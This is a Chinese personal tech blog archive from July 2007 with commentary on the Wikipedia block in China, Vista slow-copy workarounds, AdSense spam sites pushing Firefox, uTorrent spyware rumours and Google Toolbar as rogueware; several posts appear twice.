|
2007年7月31日星期二
2007年7月24日星期二
上面谁开口了吗？zh.wikipedia.org出了黑名单（仅仅一天！）
今天晚上，挂着非加密代理在看英文Wiki，一不小心误点了左边导航栏的“中文”。本来准备马上换掉代理地址（这个代理会因为请求中的“zh.wikipedia.org”而被封锁几分钟），结果。。。奇迹发生了，中文Wiki竟然真出来了。
Google搜索zh.wikipedia.org，第一页也未出现被封症状。
上面估计是真有人知道了某些人的抗议，或者认为wiki中文上台湾鬼子太多，歪曲国内历史及现状，有损我国国际形象，故出此一策。如果这是事实的话，可能全面封锁的解除会有一段时间；反之如果仅仅是设备升级调试这样的原因，也许明天就又封上了。
不管怎么样，奉劝任何国内网民：
07.25 18：42 update - 哈哈，看来我的预言有效，zh.wikipedia.org这关键词今天又进blacklist了。果然是大海航行靠舵手，出门在外戴三块表好。不过英文尚未再被封服务器。这次和上次雅虎事件的情况很类似。又有人要挨整了。
21：39——这次en也给封住IP了。
Google搜索zh.wikipedia.org，第一页也未出现被封症状。
上面估计是真有人知道了某些人的抗议，或者认为wiki中文上台湾鬼子太多，歪曲国内历史及现状，有损我国国际形象，故出此一策。如果这是事实的话，可能全面封锁的解除会有一段时间；反之如果仅仅是设备升级调试这样的原因，也许明天就又封上了。
不管怎么样，奉劝任何国内网民：
21：39——这次en也给封住IP了。
2007年7月23日星期一
Windows Vista资源管理器复制、移动、删除文件慢的7种不同的解决办法和几个现象
“calculating time remaining moving, deleteing, copying files verry slow”
http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=1138289&SiteID=17
故障现象：1、这些现象在50-75%的情况下发生，“很长时间”是指至少2倍于XP执行相同操作的时间。
2、需要很长时间才能打开一个本地或网络目录并显示它的内容
3、在本地或网络目录之间复制文件需要很长时间（文件数量越多而不是大小越大，速度越慢）
4、需要很长时间才能显示文件或目录的右键菜单
5、建立和显示目录的缩略图导致屏幕闪烁和Explorer卡死
6、使用CMD进行操作时不会出现任何上述问题
这可能是微软Technet论坛Windows Vista版有史以来最长的一个求助帖——23页，324个回复，1月最初发帖，直到昨天仍然有回帖，微软的那些赚家们根本不知去向——描述的就是在 Windows Vista系统中，在本地或网络环境下使用资源管理器的功能进行文件的复制、移动、删除，速度极慢的现象。我使用此系统也接近一年时间了，从一开始也发现了这一现象。读完整整23页，可以总结出7种解决办法——虽然有些人测试了所有办法，仍然没有什么效果，但是对于我，还是有点作用的。
1、打微软 KB931770补丁。这篇微软知识库文章主要说明了在网络环境下Vista向Windows 2003等系统的共享内复制文件时出现的速度慢甚至死机的现象，但是像Win2000/XP/2003的KB888111 HD Audio补丁一样，这个补丁不提供本地下载。当然很快就有人给出了下载地址，Google一下就能找到。
2、禁用索引服务（Windows Search）。这看上去确实能够起一些作用，但是应该没有真正解决问题。
3、将资源管理器设置为禁止显示预览，只显示图标。这样可以使系统不再试图预览文件，大大提高资源管理器的速度。但这也不是治本的方案。
4、在“打开或关闭Windows功能”中禁用“远程差分压缩”。这是目前最有效的解决办法——而且这不但可以解决网络上复制文件速度的问题，也可以解决本地复制文件速度的问题，这个效果不明（比较本地与远程文件的差异以便节省带宽，这好理解吗？！）的功能，原本是为网络环境设定，但是不知为何也影响到了本地的文件复制。
5、关闭IPV6、QoS数据包计划程序等。这个方法因为没有测试，不知道是否真的有效。
6、修改注册表：建立或修改DWORD值
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\CopyFileBufferedSynchronously 为1
这个据说是微软的人员提出的解决办法，不过我看这个键值是影响的Win32子系统的CopyFile函数，但是使用CMD复制文件并不会出现缓慢的情况。这个方法的作用，也值得怀疑。
7、检查磁盘系统的硬件和驱动程序，或者更换磁盘的接口，去掉所有的USB设备。这似乎对某些nForce SATA的用户起到了极大作用。
在整个问题中，还出现了几个有趣的现象：
1、Vista在进行文件的移动/复制之前，似乎都要对目标目录进行长时间的检查。这个检查，就是发生在那“计算剩余时间”的过程中。确定目标内是否有同名文件，似乎并不需要耗费很长时间，列目录罢了；但是这里提到的检查，时间可以长得奇怪。
2、有时候，USB设备之间复制是文章初提到的那种现象的最突出的表现。这能说明什么呢？
3、有人在使用ProcessMonitor程序分别监视Explorer和CMD复制文件的过程中发现：Explorer能够产生2000条以上的记录，而CMD仅仅产生了30多条；Explorer在复制文件的时候会奇怪地进行“重命名”操作。
4、一些人复制非Vista下建立的文件不出现问题，复制Vista下建立的文件就出现了缓慢的问题。
5、很多人出现此症状的同时，从事件日志中可以看到，Windows Search服务也异常关闭了。
最重要的是，在这个问题漫长的6个月寿命中，没有任何来自微软的人员站出来，也没有任何消息。难道这个问题真的要拖延到SP1？
Update 07.30:M$终于出了个大（X86的将近10M!）补丁KB938979，目前还只是在MSDN和Connect上。据试过的人称。这确实能解决问题。
x86: http://www.mediafire.com/?by1409dy9zt
http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=1138289&SiteID=17
故障现象：1、这些现象在50-75%的情况下发生，“很长时间”是指至少2倍于XP执行相同操作的时间。
2、需要很长时间才能打开一个本地或网络目录并显示它的内容
3、在本地或网络目录之间复制文件需要很长时间（文件数量越多而不是大小越大，速度越慢）
4、需要很长时间才能显示文件或目录的右键菜单
5、建立和显示目录的缩略图导致屏幕闪烁和Explorer卡死
6、使用CMD进行操作时不会出现任何上述问题
这可能是微软Technet论坛Windows Vista版有史以来最长的一个求助帖——23页，324个回复，1月最初发帖，直到昨天仍然有回帖，微软的那些赚家们根本不知去向——描述的就是在 Windows Vista系统中，在本地或网络环境下使用资源管理器的功能进行文件的复制、移动、删除，速度极慢的现象。我使用此系统也接近一年时间了，从一开始也发现了这一现象。读完整整23页，可以总结出7种解决办法——虽然有些人测试了所有办法，仍然没有什么效果，但是对于我，还是有点作用的。
1、打微软 KB931770补丁。这篇微软知识库文章主要说明了在网络环境下Vista向Windows 2003等系统的共享内复制文件时出现的速度慢甚至死机的现象，但是像Win2000/XP/2003的KB888111 HD Audio补丁一样，这个补丁不提供本地下载。当然很快就有人给出了下载地址，Google一下就能找到。
2、禁用索引服务（Windows Search）。这看上去确实能够起一些作用，但是应该没有真正解决问题。
3、将资源管理器设置为禁止显示预览，只显示图标。这样可以使系统不再试图预览文件，大大提高资源管理器的速度。但这也不是治本的方案。
4、在“打开或关闭Windows功能”中禁用“远程差分压缩”。这是目前最有效的解决办法——而且这不但可以解决网络上复制文件速度的问题，也可以解决本地复制文件速度的问题，这个效果不明（比较本地与远程文件的差异以便节省带宽，这好理解吗？！）的功能，原本是为网络环境设定，但是不知为何也影响到了本地的文件复制。
5、关闭IPV6、QoS数据包计划程序等。这个方法因为没有测试，不知道是否真的有效。
6、修改注册表：建立或修改DWORD值
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\CopyFileBufferedSynchronously 为1
这个据说是微软的人员提出的解决办法，不过我看这个键值是影响的Win32子系统的CopyFile函数，但是使用CMD复制文件并不会出现缓慢的情况。这个方法的作用，也值得怀疑。
7、检查磁盘系统的硬件和驱动程序，或者更换磁盘的接口，去掉所有的USB设备。这似乎对某些nForce SATA的用户起到了极大作用。
在整个问题中，还出现了几个有趣的现象：
1、Vista在进行文件的移动/复制之前，似乎都要对目标目录进行长时间的检查。这个检查，就是发生在那“计算剩余时间”的过程中。确定目标内是否有同名文件，似乎并不需要耗费很长时间，列目录罢了；但是这里提到的检查，时间可以长得奇怪。
2、有时候，USB设备之间复制是文章初提到的那种现象的最突出的表现。这能说明什么呢？
3、有人在使用ProcessMonitor程序分别监视Explorer和CMD复制文件的过程中发现：Explorer能够产生2000条以上的记录，而CMD仅仅产生了30多条；Explorer在复制文件的时候会奇怪地进行“重命名”操作。
4、一些人复制非Vista下建立的文件不出现问题，复制Vista下建立的文件就出现了缓慢的问题。
5、很多人出现此症状的同时，从事件日志中可以看到，Windows Search服务也异常关闭了。
最重要的是，在这个问题漫长的6个月寿命中，没有任何来自微软的人员站出来，也没有任何消息。难道这个问题真的要拖延到SP1？
Update 07.30:M$终于出了个大（X86的将近10M!）补丁KB938979，目前还只是在MSDN和Connect上。据试过的人称。这确实能解决问题。
x86: http://www.mediafire.com/?by1409dy9zt
2007年7月22日星期日
变了味的Firefox广告
2005年Google与Mozilla的合作是件双方皆大欢喜的事情。Mozilla傍上了这以打倒垄断大王微软为潜在目标、不断发展壮大的 Google，赞助大大的有；Google则“装备”上了Firefox，这个有能力削弱微软IE垄断的重量级武器。这样，adsense “下载带有Google工具栏的Firefox”诞生了。不过这广告在国内某些人手中，逐渐有些变味，甚至成为很多人认为Firefox不好甚至是流氓软件、恶意软件的重要理由。
现在国内，GoogleAdsense成为很多站长赚补贴的重要途径，“下载带有Google工具栏的Firefox”就成了个随处可见的东西。单是这样并不是很烦人，但是有些人完全就是为了这个东西而疯狂地挖空心思，来做非正常推广。
1、单独建站专门推广
很多人把一些宣传Firefox的材料，单独放在一起建个小站，或者放在自己站上的一个目录里，以达到宣传Firefox的目的，他们甚至有时候还使用了一些迷惑性很大的域名（也许以后卖给Mozilla还能赚更多的！），来提高点击率。
从百度或者Google（这里用英文.com或者“谷歌”搜出来结果差不多）搜索关键词“火狐浏览器”就能找到大量此类专门骗Adsense的站。（注意：Firefox从来就没有任何官方的、一致的的中文名，Firefox就是Firefox，从来都不是什么“火狐”！）
举例：
http://www.16abc.com/
http://www.firefoxba.com/
http://www.googleab.com/cn/firefox/
http://www.huohunet.cn/
http://www.firefoxdownloadcn.com/
http://www.firefoxbar.com/
http://www.xn--dozt1ie4n.com/firefox2.htm
http://www.firefoxliulanqi.net.cn/
http://www.huohuliulanqi2.com.cn/
http://www.gfox.cn/
http://www.huohu5.com.cn/
http://www.huohu5.com.cn/
http://www.mozilla-firefox.cn/
http://www.huohuzj.cn/
http://www.ha0123.net.cn/firefox.htm
http://www.weiblog.cn/
http://www.my150.com/Firefox.htm
http://www.iliulanqi.cn/
http://www.firefoxweb.cn/
http://www.huohu1.org.cn/
http://firefox-pk-ie.com/
http://www.firefoxweb.cn/
http://www.666u.net/firefox2.htm
http://www.firefox99.cn/
http://www.t1com.cn/
http://www.liberty-cn.com/
http://firefox9.com/
……………………
截图：
很可惜，这些都属于假网站。
这些网站通常给出一些Firefox的相关资料，最终的“下载”却总是指向Google的adsense广告条或者文字链接，而不提供任何本地下载和官方下载站点链接。
这些站对于Firefox的描述大多带有错误：比如把Google工具栏这adware的功能说成Fx本身的，“体积小速度快”Win下两项都不如Opera，Mac下比Safari慢得多，在两个平台下都占用更多的系统资源；把Google版声称为官方版等等。另外最令人Orz的就是那个“19岁斯坦福学生”了。。Mozilla是Mozilla看透了Netscape源代码的垃圾本质后多年打造而成，我从来没在哪里看到过这个学生应该放在如此崇高地位的。
而且还有一些此类站在Firefox上版式居然不正常的，一看就知道用Frontpage做的。
谨记：Firefox的国际官方站点只有http://www.mozilla.org 和 http://www.mozilla.com ，得到授权的中文官方站点是Mozilla中国中心 http://www.mozilla.org.cn/ 。就算是Google的下载，也同样不是官方版！官方版的Firefox并不带有除DOM Inspector和错误报告以外的任何扩展和插件，包括Google版在内的所有增强版都不是官方版本！
迄今为止，任何全力宣传Firefox 3.0的网站都不属于Mozilla所有！Firefox 3.0目前尚未到Beta阶段，仍然很不稳定，官方从来都没有公开大肆宣传过它！
2、在网站内以非常形式发布广告推荐。
比如：设置一段检测浏览器类型的客户或服务器端脚本，如果发现是IE（目前主要通过某些DOM参数和浏览器发送的User-Agent）则显示一段警告类型的广告如“检测到您正在使用IE浏览器，推荐下载更快更安全的Firefox浏览器”之类；有些甚至更加疯狂，把某些东西隐藏起来，不用 Firefox看不到（如某因为打包虚假的卡巴斯基杀毒软件新版本而臭名昭著的“烟桥社区”就不能使用IE看到内容）。
有些检测脚本带有问题，所有非Firefox浏览器，甚至是同使用Gecko引擎的其他浏览器都显示为IE，Linux和MacOS X10.4都能给你检测出IE，甚至根本不检测就显示，把Firefox都能说成IE，GoogleBot、百度蜘蛛都能看出是IE。这个是最为恶心的东西，甚至有些论坛，上面有此种广告，网页里却有挂马iframe，实在是令人生厌。
举例截图：
结论：
1、 Firefox被这些挖空了心思想赚钱的人吹得神乎其神。安全性方面，虽然我不得不同意Firefox是我分析网页木马的最常用平台，大多数网页木马都对其无效；但是，Firefox的漏洞也一个又一个地被暴出来，而且，系统的安全性也影响着Firefox的安全性——在Windows下，如果系统没有打 MS07-017漏洞补丁，那么2.0版本以上的Firefox（Mozilla 1.8.1以上）由于支持和IE一样的基于文件的自定义鼠标指针方式，也会被那些根据IE弱点设计的ANI网页木马所命中。
速度方面， Firefox虽然明显快于IE，但是离这方面的王者——Opera和Safari的距离非常远，尤其体现在脚本执行效率等方面。而且，Firefox对内存容量的要求是众人皆知的——虽然这可能是它使用了内存缓存的原因。另外，Firefox虽然对W3C兼容很好，但是对于非W3C代码的容错性还是成问题——比如动网论坛系统和部分其他国内CMS系统的某些脚本，可以轻易让Firefox卡死。（本来这篇文章早就写了一半，结果在查找证据的时候到了一个国内的论坛，Firefox死了，不得不重写~。。）也许，3.0（Mozilla 1.9）能够很大程度上消灭这些问题。
2、这些人把Google版Firefox大肆宣传，使它几乎成了官方版。许多Firefox用户甚至都不知道Mozilla基金会不是Google的附庸，它真正的官方网站在哪里。这是对Firefox用户群的一个大伤害。
还是放上这么一张图：
现在国内，GoogleAdsense成为很多站长赚补贴的重要途径，“下载带有Google工具栏的Firefox”就成了个随处可见的东西。单是这样并不是很烦人，但是有些人完全就是为了这个东西而疯狂地挖空心思，来做非正常推广。
1、单独建站专门推广
很多人把一些宣传Firefox的材料，单独放在一起建个小站，或者放在自己站上的一个目录里，以达到宣传Firefox的目的，他们甚至有时候还使用了一些迷惑性很大的域名（也许以后卖给Mozilla还能赚更多的！），来提高点击率。
从百度或者Google（这里用英文.com或者“谷歌”搜出来结果差不多）搜索关键词“火狐浏览器”就能找到大量此类专门骗Adsense的站。（注意：Firefox从来就没有任何官方的、一致的的中文名，Firefox就是Firefox，从来都不是什么“火狐”！）
举例：
http://www.16abc.com/
http://www.firefoxba.com/
http://www.googleab.com/cn/firefox/
http://www.huohunet.cn/
http://www.firefoxdownloadcn.com/
http://www.firefoxbar.com/
http://www.xn--dozt1ie4n.com/firefox2.htm
http://www.firefoxliulanqi.net.cn/
http://www.huohuliulanqi2.com.cn/
http://www.gfox.cn/
http://www.huohu5.com.cn/
http://www.huohu5.com.cn/
http://www.mozilla-firefox.cn/
http://www.huohuzj.cn/
http://www.ha0123.net.cn/firefox.htm
http://www.weiblog.cn/
http://www.my150.com/Firefox.htm
http://www.iliulanqi.cn/
http://www.firefoxweb.cn/
http://www.huohu1.org.cn/
http://firefox-pk-ie.com/
http://www.firefoxweb.cn/
http://www.666u.net/firefox2.htm
http://www.firefox99.cn/
http://www.t1com.cn/
http://www.liberty-cn.com/
http://firefox9.com/
……………………
截图：
很可惜，这些都属于假网站。
这些网站通常给出一些Firefox的相关资料，最终的“下载”却总是指向Google的adsense广告条或者文字链接，而不提供任何本地下载和官方下载站点链接。
这些站对于Firefox的描述大多带有错误：比如把Google工具栏这adware的功能说成Fx本身的，“体积小速度快”Win下两项都不如Opera，Mac下比Safari慢得多，在两个平台下都占用更多的系统资源；把Google版声称为官方版等等。另外最令人Orz的就是那个“19岁斯坦福学生”了。。Mozilla是Mozilla看透了Netscape源代码的垃圾本质后多年打造而成，我从来没在哪里看到过这个学生应该放在如此崇高地位的。
而且还有一些此类站在Firefox上版式居然不正常的，一看就知道用Frontpage做的。
谨记：Firefox的国际官方站点只有http://www.mozilla.org 和 http://www.mozilla.com ，得到授权的中文官方站点是Mozilla中国中心 http://www.mozilla.org.cn/ 。就算是Google的下载，也同样不是官方版！官方版的Firefox并不带有除DOM Inspector和错误报告以外的任何扩展和插件，包括Google版在内的所有增强版都不是官方版本！
迄今为止，任何全力宣传Firefox 3.0的网站都不属于Mozilla所有！Firefox 3.0目前尚未到Beta阶段，仍然很不稳定，官方从来都没有公开大肆宣传过它！
2、在网站内以非常形式发布广告推荐。
比如：设置一段检测浏览器类型的客户或服务器端脚本，如果发现是IE（目前主要通过某些DOM参数和浏览器发送的User-Agent）则显示一段警告类型的广告如“检测到您正在使用IE浏览器，推荐下载更快更安全的Firefox浏览器”之类；有些甚至更加疯狂，把某些东西隐藏起来，不用 Firefox看不到（如某因为打包虚假的卡巴斯基杀毒软件新版本而臭名昭著的“烟桥社区”就不能使用IE看到内容）。
有些检测脚本带有问题，所有非Firefox浏览器，甚至是同使用Gecko引擎的其他浏览器都显示为IE，Linux和MacOS X10.4都能给你检测出IE，甚至根本不检测就显示，把Firefox都能说成IE，GoogleBot、百度蜘蛛都能看出是IE。这个是最为恶心的东西，甚至有些论坛，上面有此种广告，网页里却有挂马iframe，实在是令人生厌。
举例截图：
结论：
1、 Firefox被这些挖空了心思想赚钱的人吹得神乎其神。安全性方面，虽然我不得不同意Firefox是我分析网页木马的最常用平台，大多数网页木马都对其无效；但是，Firefox的漏洞也一个又一个地被暴出来，而且，系统的安全性也影响着Firefox的安全性——在Windows下，如果系统没有打 MS07-017漏洞补丁，那么2.0版本以上的Firefox（Mozilla 1.8.1以上）由于支持和IE一样的基于文件的自定义鼠标指针方式，也会被那些根据IE弱点设计的ANI网页木马所命中。
速度方面， Firefox虽然明显快于IE，但是离这方面的王者——Opera和Safari的距离非常远，尤其体现在脚本执行效率等方面。而且，Firefox对内存容量的要求是众人皆知的——虽然这可能是它使用了内存缓存的原因。另外，Firefox虽然对W3C兼容很好，但是对于非W3C代码的容错性还是成问题——比如动网论坛系统和部分其他国内CMS系统的某些脚本，可以轻易让Firefox卡死。（本来这篇文章早就写了一半，结果在查找证据的时候到了一个国内的论坛，Firefox死了，不得不重写~。。）也许，3.0（Mozilla 1.9）能够很大程度上消灭这些问题。
2、这些人把Google版Firefox大肆宣传，使它几乎成了官方版。许多Firefox用户甚至都不知道Mozilla基金会不是Google的附庸，它真正的官方网站在哪里。这是对Firefox用户群的一个大伤害。
还是放上这么一张图：
2007年7月21日星期六
Spaces改版了~^_^
嘻嘻，今天醒来一看，我的spaces终于也给改版了~这次改版之后虽然主内容未变，但是上面的Skin比原来可是漂亮多了啊~
上面的广告被adblock了，下面倒是加了个类似于Vista资源管理器形式的导航栏，看上去新颖了不少。
最重要的是，K-Meleon和Konqueror已经可以不改user-agent直接上来，看来M$也有知错就改的时候。。。
再试试Opera。很可惜，还是看不完长文章。也不能评论。看来M$对Opera这样的“小众”浏览器仍然充满敌意。
不过，这速度。。。。不挂代理还是有点慢，难道一部分服务器又放国外去了？
底下加上了Windows Live Writer的广告。。。我可是不会用的
注：Orz，今天这photobucket的速度，慢到无敌了
上面的广告被adblock了，下面倒是加了个类似于Vista资源管理器形式的导航栏，看上去新颖了不少。
最重要的是，K-Meleon和Konqueror已经可以不改user-agent直接上来，看来M$也有知错就改的时候。。。
再试试Opera。很可惜，还是看不完长文章。也不能评论。看来M$对Opera这样的“小众”浏览器仍然充满敌意。
不过，这速度。。。。不挂代理还是有点慢，难道一部分服务器又放国外去了？
底下加上了Windows Live Writer的广告。。。我可是不会用的
注：Orz，今天这photobucket的速度，慢到无敌了
2007年7月18日星期三
µTorrent1.7.1是否是RIAA/MPAA的间谍软件？未知
大家都知道由于当年BitComet有吸血行为（优先传数据给相同客户端），国外的一部分tracker曾经封锁过这一曾经在中国使用率最高的BT软件。现在，国外少数几个Tracker（如leecherslair、torrentforall、bitmetv等站）开始ban某个特殊版本的、小体积 BT客户端软件——µTorrent 版本1.7/1.7.1。据这些tracker的说法：
" It has been determined that utorrent 1.7 and upwards has a bug that reports your stats incorrectly.
It has also been determined that it reports private info outside of the tracker.
we advise anyone using these versions to downgrade back to utorrent 1.6.1. you can download it by clicking HERE . Anybody using 1.7 or above does so at their own risk and we will not be given any user support.
Cheers
TFA-Staff "
向Tracker 之外的地方报告私有信息？在google上搜索，只发现这个软件在推出1.7版之前被bittorrent协议的母公司（Bittorrent Inc.）收购，而这个公司为了生存，和美国电影协会MPAA（在美国臭名昭著的、反P2P盗版行动最积极的组织之一（另一个是RIAA））合作已经有很长时间，负责过滤自己公司所能管辖范围内（如bittorrent.com搜索）的版权相关信息。bittorrent官方客户端近年来已经几乎无人问津，也许正是这个原因。继续进一步挖，发现了有一些具有明显偏向性的文章。
如digg上的：
Utorrent 1.7+ possilby unsafe
BitTorrent Inc and Utorrent announced a joining of forces. But BitTorrent Inc is directly in partnership with the movie studios/MPAA.(http://torrentfreak.com/bittorrent-and-mpaa- join-forces/) Could the latest updates of utorrent be influenced by the MPAA?
接着就变成了：
utorrent bought by MPAA
也许正是这些，一些人开始寻找这个版本的µTorrent有问题的证据；而这些证据并没有多少有说服力的，其中有来自
http://forum.utorrent.com/viewtopic.php?id=26561
在此情况下
uTorrent 1.7, NO other torrents going other then 1 linux iso torrent, no other applications running (actually running in wine), separate dedicated IP = Mediasentry IP hits 36.
Halite, same torrent, same system = 0 Media sentry IP hits
开着µTorrent再开PeerGuardian时记录的IP：
If your in doubt trrace these IP's that were blocked from outgoing through my firewall with uTorrent 1.7
64.124.145.113
64.124.145.104
206.169.225.92
64.34.174.141
64.34.172.152
206.169.170.246
206.169.230.102
Whois：
http://whois.domaintools.com/64.124.145.113 Abovenet Communications, Inc
http://whois.domaintools.com/64.124.145.104 Abovenet Communications, Inc
http://whois.domaintools.com/206.169.225.92 Time Warner Telecom, Inc.
http://whois.domaintools.com/64.34.174.141 Peer 1 Network Inc.
http://whois.domaintools.com/64.34.172.152 Peer 1 Network Inc.
http://whois.domaintools.com/206.169.170.246 Time Warner Telecom, Inc.
http://whois.domaintools.com/206.169.230.102 Time Warner Telecom, Inc.
时代华纳电信？Peer 1 Network？看上去确实和MPAA有点关系。但这又能说明什么呢？
所谓“证据”的提供者并没有进行抓包，既然你在上传/下载东西，不管你下载什么，都有可能在你的BT网络上出现来自RIAA/MPAA的间谍系统，它可不是和客户端有关的；你也没有给出1.6版本的对应数据，而是抛出另一个“Halite”软件的数据，这可以说明问题的来源就是这特定版本的µTorrent 吗？![[confused]](http://users2.nofeehost.com/yksoft1/lbs/styles/default/images/smilies/icon_confused.gif)
而另一些人用Wireshark抓包，指向的IP属于多播范围，在外网上基本不可能出现。在changelog里也清楚地说了这个版本加入了UDP多播搜寻同一内网内用户的功能。总之，这个版本的µTorrent是否是RIAA/MPAA的间谍软件，还没有任何证据能够肯定或者否定它。
这些tracker当然是怕鬼敲门惯了，谁叫你设在U$A，谁叫你设在“在版权方面，版权作品的用户没有任何权利”的欧盟？哈哈~快点来我们这个河蟹的国家吧。
至于我，完全置身事外。我不看好莱坞电影，不听美国音乐，身处和谐大国，RIAA、MPAA没有理由和办法来对我怎么样。
" It has been determined that utorrent 1.7 and upwards has a bug that reports your stats incorrectly.
It has also been determined that it reports private info outside of the tracker.
we advise anyone using these versions to downgrade back to utorrent 1.6.1. you can download it by clicking HERE . Anybody using 1.7 or above does so at their own risk and we will not be given any user support.
Cheers
TFA-Staff "
向Tracker 之外的地方报告私有信息？在google上搜索，只发现这个软件在推出1.7版之前被bittorrent协议的母公司（Bittorrent Inc.）收购，而这个公司为了生存，和美国电影协会MPAA（在美国臭名昭著的、反P2P盗版行动最积极的组织之一（另一个是RIAA））合作已经有很长时间，负责过滤自己公司所能管辖范围内（如bittorrent.com搜索）的版权相关信息。bittorrent官方客户端近年来已经几乎无人问津，也许正是这个原因。继续进一步挖，发现了有一些具有明显偏向性的文章。
如digg上的：
Utorrent 1.7+ possilby unsafe
BitTorrent Inc and Utorrent announced a joining of forces. But BitTorrent Inc is directly in partnership with the movie studios/MPAA.(http://torrentfreak.com/bittorrent-and-mpaa- join-forces/) Could the latest updates of utorrent be influenced by the MPAA?
接着就变成了：
utorrent bought by MPAA
也许正是这些，一些人开始寻找这个版本的µTorrent有问题的证据；而这些证据并没有多少有说服力的，其中有来自
http://forum.utorrent.com/viewtopic.php?id=26561
在此情况下
uTorrent 1.7, NO other torrents going other then 1 linux iso torrent, no other applications running (actually running in wine), separate dedicated IP = Mediasentry IP hits 36.
Halite, same torrent, same system = 0 Media sentry IP hits
开着µTorrent再开PeerGuardian时记录的IP：
If your in doubt trrace these IP's that were blocked from outgoing through my firewall with uTorrent 1.7
64.124.145.113
64.124.145.104
206.169.225.92
64.34.174.141
64.34.172.152
206.169.170.246
206.169.230.102
Whois：
http://whois.domaintools.com/64.124.145.113 Abovenet Communications, Inc
http://whois.domaintools.com/64.124.145.104 Abovenet Communications, Inc
http://whois.domaintools.com/206.169.225.92 Time Warner Telecom, Inc.
http://whois.domaintools.com/64.34.174.141 Peer 1 Network Inc.
http://whois.domaintools.com/64.34.172.152 Peer 1 Network Inc.
http://whois.domaintools.com/206.169.170.246 Time Warner Telecom, Inc.
http://whois.domaintools.com/206.169.230.102 Time Warner Telecom, Inc.
时代华纳电信？Peer 1 Network？看上去确实和MPAA有点关系。但这又能说明什么呢？
所谓“证据”的提供者并没有进行抓包，既然你在上传/下载东西，不管你下载什么，都有可能在你的BT网络上出现来自RIAA/MPAA的间谍系统，它可不是和客户端有关的；你也没有给出1.6版本的对应数据，而是抛出另一个“Halite”软件的数据，这可以说明问题的来源就是这特定版本的µTorrent 吗？
而另一些人用Wireshark抓包，指向的IP属于多播范围，在外网上基本不可能出现。在changelog里也清楚地说了这个版本加入了UDP多播搜寻同一内网内用户的功能。总之，这个版本的µTorrent是否是RIAA/MPAA的间谍软件，还没有任何证据能够肯定或者否定它。
这些tracker当然是怕鬼敲门惯了，谁叫你设在U$A，谁叫你设在“在版权方面，版权作品的用户没有任何权利”的欧盟？哈哈~快点来我们这个河蟹的国家吧。
至于我，完全置身事外。我不看好莱坞电影，不听美国音乐，身处和谐大国，RIAA、MPAA没有理由和办法来对我怎么样。
2007年7月12日星期四
胡扯：Google Toolbar被称做流氓软件的一天
惊见一文
《北京商报》:谷歌身陷“流氓软件”漩涡
（http://www.cnbeta.com/articles/31336.htm）
以“不作恶”为企业信条的谷歌在华遭遇信任危机.其起因是谷歌的工具栏软件Google Toolbar被指责有流氓软件性质.
事件缘起Google Toolbar软件被网民认为其强制捆绑安装.而就在去年10月,谷歌全球副总裁、大中华区联合总裁李开复在阐述中国策略时还曾明确表示不与流氓软件为伍.李开复甚至批评“不少公司会用其他方法,比如流氓软件或者捆绑来增加占有率,那是本末倒置,用户很容易流失”.
记者从由网民投票的360软件百科中的恶评率调查中发现,该软件恶评率已经高达36%.网民们的主要矛头集中在Google Toolbar的捆绑问题,以及难以正常卸载的问题.不过不少网友也为谷歌辩护.
实际上谷歌的Toolbar浏览器辅助工具条软件有拦截弹窗、快捷Google搜索、快捷登录Gmail等功能.但由于隐私问题和被不良共享软件制作者捆绑安装问题始终没有得到解决,便成了一款毁誉参半的工具栏产品.特别是在谷歌为推广自身把该软件和迅雷捆绑,以及和265网站合作推广之后,网民对其安装方式的报怨之声达到了顶峰.
互联网分析师秦川对记者表示,由于谷歌采用了合作推广,其中一些合作伙伴采用不提示的方式进行操作,伤害了谷歌的声誉,相信并非李开复的本意.但是这种情况并不由谷歌完全控制,这是其相对激进的推广做法带来的负面效果.
目前谷歌在中国搜索行业的市场份额为14%,这与其历史最高水平31.2%相去甚远.为扩张市场,大规模的捆绑合作在所难免.
哈哈。Google的工具条也有被某些人认为是流氓软件的一天。
我认为，其实GTB（IE版）本身作为流氓软件的所谓“恶意”定义并不很明显。它在大约去年之前，还只是一个百分之百的BHO插件，不会向系统中加入任何不该加入的东西（比如雅虎助手表面上的随系统启动、自动更新，底层的DLL插入、yaskp.sys自我保护驱动）。后来出了个 GoogleToolbarNotifier.exe，随系统启动，删了启动项还出来。这时候开始就觉得这东西有潜在恶意了。不过像雅虎助手和CNNIC 那样臭名昭著的流氓手段，GTB并未用到。至于捆绑，令人诟病的在国内主要有两条：N多软件捆绑（但不是强制捆绑）IE版的GTB，比如我的 favourite——Flashget 1.73；还有现在某些人做得无处不在的“下载带有Google工具栏的Firefox”垃圾广告。不过这些多半并非Google的错误，而是那些个想骗 Google钱的国内开发者和网站作者的错误。
Google Toolbar不符合流氓软件的“难以删除”这一基本特征。不加驱动，不用其它暗桩和非可选的强制自动更新，不存在难以删除。至于捆绑，很多洋软件一样有捆绑这鬼东西（举例，我的又一个favourite：IrfanView）。共享软件想赚钱，也没别的办法。所谓Google版Firefox，我是不会用的。开源软件可以被大公司赞助，但我不允许Google Toolbar这样纯粹的无用的私有软件污染Fx——（另外Fx for Win的安装程序是NSIS，是open source的）
总之Google Toolbar不是像雅虎助手和CNNIC那样的流氓软件，但是当我手工杀毒的时候，我会毫不犹豫地将其逐出目的机器。
本文纯属胡扯
《北京商报》:谷歌身陷“流氓软件”漩涡
（http://www.cnbeta.com/articles/31336.htm）
以“不作恶”为企业信条的谷歌在华遭遇信任危机.其起因是谷歌的工具栏软件Google Toolbar被指责有流氓软件性质.
事件缘起Google Toolbar软件被网民认为其强制捆绑安装.而就在去年10月,谷歌全球副总裁、大中华区联合总裁李开复在阐述中国策略时还曾明确表示不与流氓软件为伍.李开复甚至批评“不少公司会用其他方法,比如流氓软件或者捆绑来增加占有率,那是本末倒置,用户很容易流失”.
记者从由网民投票的360软件百科中的恶评率调查中发现,该软件恶评率已经高达36%.网民们的主要矛头集中在Google Toolbar的捆绑问题,以及难以正常卸载的问题.不过不少网友也为谷歌辩护.
实际上谷歌的Toolbar浏览器辅助工具条软件有拦截弹窗、快捷Google搜索、快捷登录Gmail等功能.但由于隐私问题和被不良共享软件制作者捆绑安装问题始终没有得到解决,便成了一款毁誉参半的工具栏产品.特别是在谷歌为推广自身把该软件和迅雷捆绑,以及和265网站合作推广之后,网民对其安装方式的报怨之声达到了顶峰.
